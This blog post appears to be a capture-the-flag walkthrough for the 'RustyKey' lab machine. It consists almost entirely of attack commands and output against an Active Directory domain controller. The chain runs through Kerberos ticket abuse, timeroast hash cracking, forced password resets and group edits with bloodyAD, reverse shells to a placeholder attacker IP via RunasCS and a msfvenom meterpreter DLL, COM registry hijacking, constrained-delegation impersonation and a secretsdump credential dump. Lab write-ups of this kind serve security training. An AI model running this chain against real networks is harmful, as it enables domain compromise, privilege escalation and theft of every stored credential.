Alan's Blog

1
/usr/lib/nmap/nmap -sT -min-rates 10000 -iL ip.txt -oA nmapscan/ports -Pn
2
...
3

4
PORT     STATE SERVICE
5
53/tcp   open  domain
6
88/tcp   open  kerberos-sec
7
135/tcp  open  msrpc
8
139/tcp  open  netbios-ssn
9
389/tcp  open  ldap
10
445/tcp  open  microsoft-ds
11
464/tcp  open  kpasswd5
12
593/tcp  open  http-rpc-epmap
13
636/tcp  open  ldapssl
14
3268/tcp open  globalcatLDAP
15
3269/tcp open  globalcatLDAPssl
16
5985/tcp open  wsman

1
echo "10.10.11.75 rustykey.htb dc.rustykey.htb" >> /etc/hosts

1
ntpdate 10.10.11.75

1
vim /etc/krb5.conf
2

3
[libdefaults]
4
  default_realm = RUSTYKEY.HTB
5
  dns_lookup_realm = false
6
  dns_lookup_kdc = false
7

8
[realms]
9
  RUSTYKEY.HTB = {
10
    kdc = 10.10.11.75
11
    admin_server = 10.10.11.75
12
  }
13

14
[domain_realm]
15
  .rustykey.htb = RUSTYKEY.HTB
16
  rustykey.htb = RUSTYKEY.HTB

1
impacket-getTGT 'RUSTYKEY.HTB/rr.parker:8#t5HE8L!W3A'
2
export KRB5CCNAME=rr.parker.ccache
3
impacket-smbclient -k -no-pass RUSTYKEY.HTB/[email protected]

1
nxc smb dc.rustykey.htb -M timeroast

1
hashcat -a 0 -m 31300 hashs.txt /usr/share/wordlists/rockyou.txt
2
hashcat (v7.1.2) starting
3
...
4
$sntp-ms$f3d22c6f9277010a267f2843b03f777d$1c0111e900000000000af2164c4f434cecacd4f92e8d0536e1b8428bffbfcd0aecae1421e284a515ecae1421e284eb8c:Rusty88!
5
...

1
bloodhound-python -u 'IT-COMPUTER3' -p 'Rusty88!' -d rustykey.htb -ns 10.10.11.75 -c All --zip

1
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb add groupMember 'CN=HELPDESK,CN=USERS,DC=RUSTYKEY,DC=HTB' IT-COMPUTER3$

1
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb set password BB.MORGAN '1qaz!QAZ'

1
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb remove groupMember 'CN=PROTECTED OBJECTS,CN=USERS,DC=RUSTYKEY,DC=HTB' IT

1
impacket-getTGT 'RUSTYKEY.HTB/bb.morgan:1qaz!QAZ'
2
export KRB5CCNAME=bb.morgan.ccache
3
evil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB -k bb.morgan.ccache

1
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> download ../Desktop/internal.pdf

1
bloodyAD -d rustykey.htb -u IT-COMPUTER3$ -p 'Rusty88!' -k --dc-ip 10.10.11.75 --host dc.rustykey.htb set password EE.REED '1qaz!QAZ'
2
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'

1
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> upload RunasCS.exe
2
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> .\RunasCS.exe ee.reed 1qaz!QAZ powershell.exe -r YOUR_IP:YOUR_PORT

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f dll -o rev.dll

1
msf6 > use exploit/multi/handler
2
msf6 exploit(multi/handler) > set LPORT YOUR_PORT
3
msf6 exploit(multi/handler) > set LHOST YOUR_IP
4
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
5
msf6 exploit(multi/handler) > run

1
PS C:\Windows\system32> mkdir C:\temp
2
PS C:\Windows\system32> cd C:\temp
3
PS C:\Windows\system32> upload rev.dll
4
PS C:\temp> reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\temp\rev.dll" /f
5
The operation completed successfully.

1
PS C:\Windows> Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$

1
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'
2
export KRB5CCNAME=backupadmin@[email protected]
3
impacket-wmiexec -k -no-pass 'RUSTYKEY.HTB/[email protected]'

1
impacket-secretsdump -k -no-pass 'rustykey.htb/[email protected]'